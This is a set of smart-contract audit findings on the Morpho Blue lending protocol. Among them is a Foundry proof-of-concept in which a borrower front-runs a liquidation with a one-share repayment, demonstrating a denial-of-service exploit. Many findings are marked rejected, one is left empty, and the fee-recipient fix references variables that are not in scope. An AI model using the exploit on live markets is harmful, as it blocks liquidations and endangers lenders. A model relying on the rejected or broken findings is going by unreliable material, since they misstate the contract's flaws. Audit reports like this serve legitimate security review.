+**Recommendation**:
+consider checking if feeRecipient has been set before setting fee for a market.
+
+
+
+### A borrower has no chance to repay - due to lack of a grace period
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description:
+Within the Morpho#`liquidate()`, a bad debt would be handled if the collateralToken balance of the liquidatable `borrower` would be `0` (`position[id][borrower].collateral == 0`) and there are some remaining debt like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L394 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L395 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L396
+```solidity
+ /// @inheritdoc IMorphoBase
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ ...
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) { ///<------------ @audit
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128(); ///<------------ @audit
+ market[id].totalSupplyAssets -= badDebt.toUint128(); ///<------------ @audit
+ market[id].totalBorrowShares -= badDebtShares.toUint128(); ///<------------ @audit
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+ ...
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+ ...
+```
+
+According to the ["Liquidations" part](https://morpho-labs.notion.site/Morpho-Blue-Documentation-Hub-External-00ff8194791045deb522821be46abbdc) in the documentation, the **loss is realized and shared proportionally between all lenders** - when a liquidation leaves an account with some remaining debt and without collateral like this:
+> - Liquidations
+> When an account becomes unhealthy, meaning its Loan to Value (LTV) grows above the LLTV of a market, it becomes eligible for liquidation. Liquidations on Blue are quite simple: liquidators can liquidate up to 100% of the account’s debt and receive the corresponding value of the collateral, plus a relative incentive.
+>
+> Morpho Blue also has a mechanism to account for and realize **bad debt** events. Usually, in other lending pool designs, bad debt in a market is irreversible, meaning that it stays in the market forever. If the bad debt is small enough, the market can continue functioning. If the bad debt is important, the market can become unusable forever. In Morpho Blue, when a liquidation leaves an account with some remaining debt and without collateral, the **loss is realized and shared proportionally between all lenders**. The market is thus left 100% usable.
+
+This means that once a bad debt event would happen, the LTV of every borrowers would be _**suddenly**_ increased and therefore a lot of borrower's debt position may be force to moved to a liquidatable status.
+Since there is **no grace period**, a MEV bot (a Liquidation bot) can immediately liquidate them - once these borrower's debt positions move to a liquidatable status.
+
+This is problematic. Because once **LTV** of these borrowers _**suddenly**_ above the LLTV of a market due to a bad debt event, these borrowers has no chance to repay even if these borrowers want to repay to improve their LTV.
+
+
+- Recommendation:
+Within the Morpho contract, consider adding a **grace period** feature that allow a borrower to repay their debt for a certain period once the borrower's LTV would be moved to above LLTV. (During the grace period, these borrower's debt position should be protected from liquidation by a liquidator)
+
+Also, within the Morpho#`liquidate()`, consider adding a validation to check whether or not the **grace period** of the `borrower` to be liquidated would already elapse.
+
+
+
+
+### Flashloan end result isn't controlled _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L415-L415](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L415-L415)
+
+**Description**:
+
+Looking at the flashLoan function below, the code does not check the token balance before and after the flashloan, the code only send the token (emit, and callback) then forcefully pull the token from the receiver.
+
+Some core token contracts, including widely-used ones like USDC and USDT, are mentioned as potentially being upgradable. This means that changes in the internal logic of these tokens could introduce unexpected behaviors.
+
+Another reason is double spending issue, If the borrower already repaid the flash-loaned amount within its `onMorphoFlashLoan` logic, the lending contract should skip the forced token pull to avoid charging the borrower twice. The current code, does not make this distinction and unconditionally attempts to pull the tokens back, creating a risk of double payment for the user.
+
+```js
+File: Morpho.sol
+415: function flashLoan(address token, uint256 assets, bytes calldata data) external {
+416: IERC20(token).safeTransfer(msg.sender, assets);
+417:
+418: emit EventsLib.FlashLoan(msg.sender, token, assets);
+419:
+420: IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+421:
+422: IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+423: }
+```
+
+**Recommendation**:
+
+The flashloan implementation should use balanceOf(address(contract)) of the flashloaned token to validate that the user pay the flashloan within the callback instead of forcefully pull the token from the receiver after the flashloan callback.
+
+
+
+### Minimum liquidation not enough to attract liquidator, resulting bad debt
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+**Recommendation**:
+
+
+
+### Liquidation process vulnerable to DOS attack _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The current implementation allows for a potential Denial of Service (DOS) attack during the liquidation process. Specifically, when an account is in an unhealthy position (where `maxBorrow < borrowed`), it becomes eligible for liquidation. In this scenario, a liquidator can invoke the `liquidate` function to target the shares of the unhealthy borrower.
+
+However, a critical vulnerability exists: if a liquidator attempts to liquidate 100% of the borrower's position, the borrower can execute a transaction just ahead of the liquidation (front-running) to repay a minimal amount (as low as 1 share). This action can effectively block the liquidation attempt.
+
+This vulnerability stems from the method of share deduction in the liquidation process, as highlighted in the code snippet below. It can happens because the exact amount of input shares are deducted from the position borrowShares. If the borrower can reduce the position borrow shares a small amount, the liquidation transaction will revert.
+
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L380
+
+POC:
+
+Create a file test in file: `test/forge/LiquidationDOS.t.sol`
+Run `forge test -vvvvv --match-path test/forge/LiquidationDOS.t.sol --match-test testPOCLiquidationDOS`
+
+```javascript
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../../lib/forge-std/src/Test.sol";
+import "../../lib/forge-std/src/console.sol";
+
+import {IMorpho, MarketParams, Id} from "../../src/interfaces/IMorpho.sol";
+import {Morpho, ORACLE_PRICE_SCALE} from "../../src/Morpho.sol";
+import "../../src/interfaces/IMorphoCallbacks.sol";
+import {IrmMock} from "../../src/mocks/IrmMock.sol";
+import {ERC20Mock} from "../../src/mocks/ERC20Mock.sol";
+import {OracleMock} from "../../src/mocks/OracleMock.sol";
+
+import {Math} from "./helpers/Math.sol";
+import {SigUtils} from "./helpers/SigUtils.sol";
+import {ArrayLib} from "./helpers/ArrayLib.sol";
+import {MorphoLib} from "../../src/libraries/periphery/MorphoLib.sol";
+import {MorphoBalancesLib, MathLib, SharesMathLib, MarketParamsLib} from "../../src/libraries/periphery/MorphoBalancesLib.sol";
+
+
+contract POC is Test {
+
+ using Math for uint256;
+ using MathLib for uint256;
+ using SharesMathLib for uint256;
+ using ArrayLib for address[];
+ using MorphoLib for IMorpho;
+ using MorphoBalancesLib for IMorpho;
+ using MarketParamsLib for MarketParams;
+
+ uint256 internal constant BLOCK_TIME = 1;
+ uint256 internal constant HIGH_COLLATERAL_AMOUNT = 1e35;
+ uint256 internal constant MIN_TEST_AMOUNT = 100;
+ uint256 internal constant MAX_TEST_AMOUNT = 1e28;
+ uint256 internal constant MIN_TEST_SHARES = MIN_TEST_AMOUNT * SharesMathLib.VIRTUAL_SHARES;
+ uint256 internal constant MAX_TEST_SHARES = MAX_TEST_AMOUNT * SharesMathLib.VIRTUAL_SHARES;
+ uint256 internal constant MIN_TEST_LLTV = 0.01 ether;
+ uint256 internal constant MAX_TEST_LLTV = 0.99 ether;
+ uint256 internal constant DEFAULT_TEST_LLTV = 0.8 ether;
+ uint256 internal constant MIN_COLLATERAL_PRICE = 1e10;
+ uint256 internal constant MAX_COLLATERAL_PRICE = 1e40;
+ uint256 internal constant MAX_COLLATERAL_ASSETS = type(uint128).max;
+
+ address internal SUPPLIER;
+ address internal BORROWER;
+ address internal REPAYER;
+ address internal ONBEHALF;
+ address internal RECEIVER;
+ address internal LIQUIDATOR;
+ address internal OWNER;
+ address internal FEE_RECIPIENT;
+
+ IMorpho internal morpho;
+ ERC20Mock internal loanToken;
+ ERC20Mock internal collateralToken;
+ OracleMock internal oracle;
+ IrmMock internal irm;
+
+ MarketParams internal marketParams;
+ Id internal id;
+
+ function setUp() public {
+ SUPPLIER = makeAddr("Supplier");
+ BORROWER = makeAddr("Borrower");
+ LIQUIDATOR = makeAddr("Liquidator");
+ OWNER = makeAddr("Owner");
+ FEE_RECIPIENT = makeAddr("FeeRecipient");
+
+ morpho = IMorpho(address(new Morpho(OWNER)));
+
+ loanToken = new ERC20Mock();
+ vm.label(address(loanToken), "LoanToken");
+
+ collateralToken = new ERC20Mock();
+ vm.label(address(collateralToken), "CollateralToken");
+
+ oracle = new OracleMock();
+
+ oracle.setPrice(ORACLE_PRICE_SCALE);
+
+ irm = new IrmMock();
+
+ vm.startPrank(OWNER);
+ morpho.enableIrm(address(irm));
+ morpho.setFeeRecipient(FEE_RECIPIENT);
+ vm.stopPrank();
+
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ vm.startPrank(SUPPLIER);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(BORROWER);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+
+ changePrank(LIQUIDATOR);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+
+ // Create market
+ uint256 lltv = DEFAULT_TEST_LLTV;
+ marketParams = MarketParams(address(loanToken), address(collateralToken), address(oracle), address(irm), lltv);
+ id = marketParams.id();
+
+ vm.startPrank(OWNER);
+ if (!morpho.isLltvEnabled(lltv)) morpho.enableLltv(lltv);
+ if (morpho.lastUpdate(marketParams.id()) == 0) morpho.createMarket(marketParams);
+ vm.stopPrank();
+ }
+
+ function testPOCLiquidationDOS() public {
+ loanToken.setBalance(SUPPLIER, 10e18);
+ vm.prank(SUPPLIER);
+ morpho.supply(marketParams, 10e18, 0, SUPPLIER, hex"");
+
+ collateralToken.setBalance(BORROWER, 1e18);
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, 1e18, BORROWER, hex"");
+ morpho.borrow(marketParams, 0.8e18, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ // Forward to accrue interest
+ _forward(10);
+ vm.prank(OWNER);
+ morpho.accrueInterest(marketParams);
+
+ // Front-run to repay 1 share
+ vm.prank(BORROWER);
+ morpho.repay(marketParams, 0, 1, BORROWER, hex"");
+
+ // Liquidator revert
+ loanToken.setBalance(LIQUIDATOR, 10e18);
+ vm.startPrank(LIQUIDATOR);
+ vm.expectRevert();
+ morpho.liquidate(marketParams, BORROWER, 0, 8e23, hex"");
+ }
+
+ /// @dev Rolls & warps the given number of blocks forward the blockchain.
+ function _forward(uint256 blocks) internal {
+ vm.roll(block.number + blocks);
+ vm.warp(block.timestamp + blocks * BLOCK_TIME); // Block speed should depend on test network.
+ }
+}
+```
+
+**Recommendation**:
+
+Implement if a liquidator inputs shares exceeding the available shares of a borrower, the system should automatically adjust to liquidate all available shares of the borrower. This adjustment would prevent a borrower from being able to block a liquidation by repaying a trivial amount.
+
+
+
+### If high volume or long time no accrue, the interst maybe not accurate estimate using Taylor expansion _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+ /// @dev Returns the sum of the first three non-zero terms of a Taylor expansion of e^(nx) - 1, to approximate a
+ /// continuous compound interest rate.
+ function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+ uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L36-L44
+
+The interest factor is estimated using the first 3 terms of a Taylor expansion. However the estimation is only accurate if x an n is small. If the multiplication of x and n is large due to long time between each accrue or high borrow rate.
+
+However, as nx grows larger, more terms are needed for the series to converge to the actual value of e^nx−1.
+
+Example of the result when we set interest rate INITIAL_RATE_AT_TARGET = int256(0.01e3 ether) / 365 days which is 1000% APR (which is less than MAX_RATE_AT_TARGET = int256(0.01e9 ether) / 365 days)
+ - Borrow rate: 317130601209
+ - x: 317130601209
+ - n: 12000
+ - firstTerm: 3805567214508000
+ - secondTerm: 7241170912069
+ - thirdTerm: 9185587539
+
+The terms are not converged leads to wrong estimation.
+
+**Recommendation**:
+
+Check if the first time is large then calculate the fourth term to increase the estimation of interest factor.
+
+
+
+
+### The excess amount of the loan token to be repaid would be stuck forever in the Morpho contract _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description:
+Within the Morpho#`repay()`, the `shares` to be repaid would be calculated based on a given amount (`assets`) of the loan token to be repaid.
+Then, the amount of the `shares` to be repaid would be subtracted from the amount of the current shares-borrowed (`position[id][onBehalf].borrowShares`).
+Finally, the given amount (`assets`) of the loan token to be repaid would be transferred to the Morpho contract (the Morpho Lending Market) like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L268 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L280 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L283 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L292
+```solidity
+ /// @inheritdoc IMorphoBase
+ function repay(
+ MarketParams memory marketParams,
+ uint256 assets, ///<------------ @audit
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares); ///<-------- @audit
+ else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares -= shares.toUint128(); ///<-------- @audit
+ market[id].totalBorrowShares -= shares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+ ...
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets); ///<-------- @audit
+ ...
+```
+
+Within the Morpho#`repay()` above, the amount of the `shares` to be repaid is supposed to be less than or equal to the current shares-borrowed (`position[id][onBehalf].borrowShares`).
+
+However, within the Morpho#`repay()`, there is no validation to check whether or not the amount of the `shares` to be repaid would exceed the amount of the current shares-borrowed (`position[id][onBehalf].borrowShares`).
+
+This is problematic. Because a given amount (`assets`) of the loan token to be repaid in the form of the `shares` would be transferred even if the amount of the `shares` to be repaid, which is calculated based on the given amount (`assets`) of the loan token, would exceed the amount of the current shares-borrowed (`position[id][onBehalf].borrowShares`).
+
+In this case of the Morpho contract, the borrower can not receive a refund of the excess amount of the loan token to be repaid.
+Since there is no rescue function in the Morpho contract, the excess amount (`assets`) of the loan token would be stuck in the Morpho contract forever.
+
+
+- Recommendation:
+Within the Morpho#`repay()`, consider adding a validation to check whether or not the amount of the `shares` to be repaid would exceed the amount of the current shares-borrowed (`position[id][onBehalf].borrowShares`) like this:
+```diff
+ function repay(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
++ require(shares.toUint128() <= position[id][onBehalf].borrowShares, "The amount of the shares to be repaid must be less than or equal to the amount of the current shares-borrowed.");
+ position[id][onBehalf].borrowShares -= shares.toUint128();
+ market[id].totalBorrowShares -= shares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+ ...
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+ ...
+```
+
+
+
+### `Morpho.setFeeRecipient` should call `_accrueInterest` before setting feeRecipient _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L142-L142](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L142-L142)
+
+**Description**:
+
+In `Morpho.setFeeRecipient` function, the implementation overwrites `feeRecipient` with new `newFeeRecipient` directly without calling `Morpho._accrueInterest` before [Morpho.sol#L142](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L142), I think it's incorrect because without calling `Morpho._accrueInterest` .
+```solidity
+138 /// @inheritdoc IMorphoBase
+139 function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+140 require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+141
+142 feeRecipient = newFeeRecipient;
+143
+144 emit EventsLib.SetFeeRecipient(newFeeRecipient);
+145 }
+```
+Because according to [`Morpho._accrueInterest`](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L471), the function is used to update the interest, and most import, it will accrue fee to [feeRecipient](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L487), without calling it, the existing `feeRecipient` will receive less share
+```solidity
+471 function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+472 uint256 elapsed = block.timestamp - market[id].lastUpdate;
+473
+474 if (elapsed == 0) return;
+475
+476 uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+477 uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+478 market[id].totalBorrowAssets += interest.toUint128();
+479 market[id].totalSupplyAssets += interest.toUint128();
+480
+481 uint256 feeShares;
+482 if (market[id].fee != 0) {
+483 uint256 feeAmount = interest.wMulDown(market[id].fee);
+484 // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+485 // that total supply is already increased by the full interest (including the fee amount).
+486 feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+487 position[id][feeRecipient].supplyShares += feeShares; <<<---- Here accrue fee to feeRecipient
+488 market[id].totalSupplyShares += feeShares.toUint128();
+489 }
+490
+491 emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+492
+493 // Safe "unchecked" cast.
+494 market[id].lastUpdate = uint128(block.timestamp);
+495 }
+```
+
+**Recommendation**:
+I think it's better to call `_accrueInterest` before updating `feeRecipient`
+```diff
+diff --git a/src/Morpho.sol b/src/Morpho.sol
+index f755904..b16cd0a 100644
+--- a/src/Morpho.sol
++++ b/src/Morpho.sol
+@@ -139,6 +139,7 @@ contract Morpho is IMorphoStaticTyping {
+ function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+ require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+
++ _accrueInterest(marketParams, id);
+ feeRecipient = newFeeRecipient;
+
+ emit EventsLib.SetFeeRecipient(newFeeRecipient);
+```
+
+
+
+### Hardcoded slippage while withdrawing would lead to DOS and potential loss in `US$` for users
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+Take a look at [withdraw()](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L197-L227)
+
+```solidity
+ function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+ //@audit-issue hardcoded slippage to 0% while withdrawing, users should be allowed their accepted minAmounts as this could as well just be considered a swap,
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+
+As seen, this function is used to withdraw the assets or shares of `onBehalf` to a provided `reciever` address, issue with this is that, this line: `require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);` hardcodes the slippage for this execution to `0%` .
+
+Now in the case of an unstable market this could lead to loss in `US$` value for users as they might not be able to withdraw on time, since they'd have to be calling the function multiple times while reducing the amount of assets they'd like to withdraw, additionally if it's something in the nature of a bank run then multiple users are trying to withdraw all at the same time, which worsens the whole scenario and in some cases causes the honest user that's attempting to withdraw are not being treated fairly, i.e a `first in first out manner` would not be followed.
+
+To understand how this could lead to a loss in `US$` value, is the simple fact that. If the economic conditions of assets is currently bad, i.e dropping fast _(which is not uncommon in the crypto world coupling with the fact that the crypto bull run is kicking in with a lot of volatility)_, then for as long as this lasts, users are losing out on either already made gains or original asset value, cause they might want to swap these assets to `US$` but don't have the opportunity to do that.
+
+- Impact
+
+Users would be Dos'd from withdrawals, which could lead to a loss in `US$` value of theses assets coupled with user frustration.
+
+- Recommended Mitigation Steps
+
+Allow users to pass in a `minAmount` whenever they attempt withdrawing, which in this case would count as their accepted slippaged value.
+
+
+
+
+### If `feeRecipient` is active in the market then they could get unfairly liquidated _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+Take a look at [_isHealthy()](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L499-L507)
+
+```solidity
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ //
+ return maxBorrow >= borrowed;
+ }
+
+```
+
+Using this search command: `https://github.com/search?q=repo%3Amorpho-org%2Fmorpho-blue+_isHealthy&type=code` we can see that in `Morpho.sol` this function gets eventually called in order to see if a user's account is healthy after withdrawing collateral or borrowing more assets, issue is that this could be a bit faulty in the context of how it's been used within `liquidate()`.
+
+Click the below to see full code for `liquidate()` using the `@audit` tag to guide through
+
+```solidity
+ function liquidate( MarketParams memory marketParams, address borrower, uint256 seizedAssets, uint256 repaidShares, bytes calldata data ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+ //@audit
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ //@audit
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+
+
+ function accrueInterest(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ //@audit
+ _accrueInterest(marketParams, id);
+ }
+
+ /// @dev Accrues interest for the given market `marketParams`.
+ /// @dev Assumes that the inputs `marketParams` and `id` match.
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ //@audit
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+
+```
+
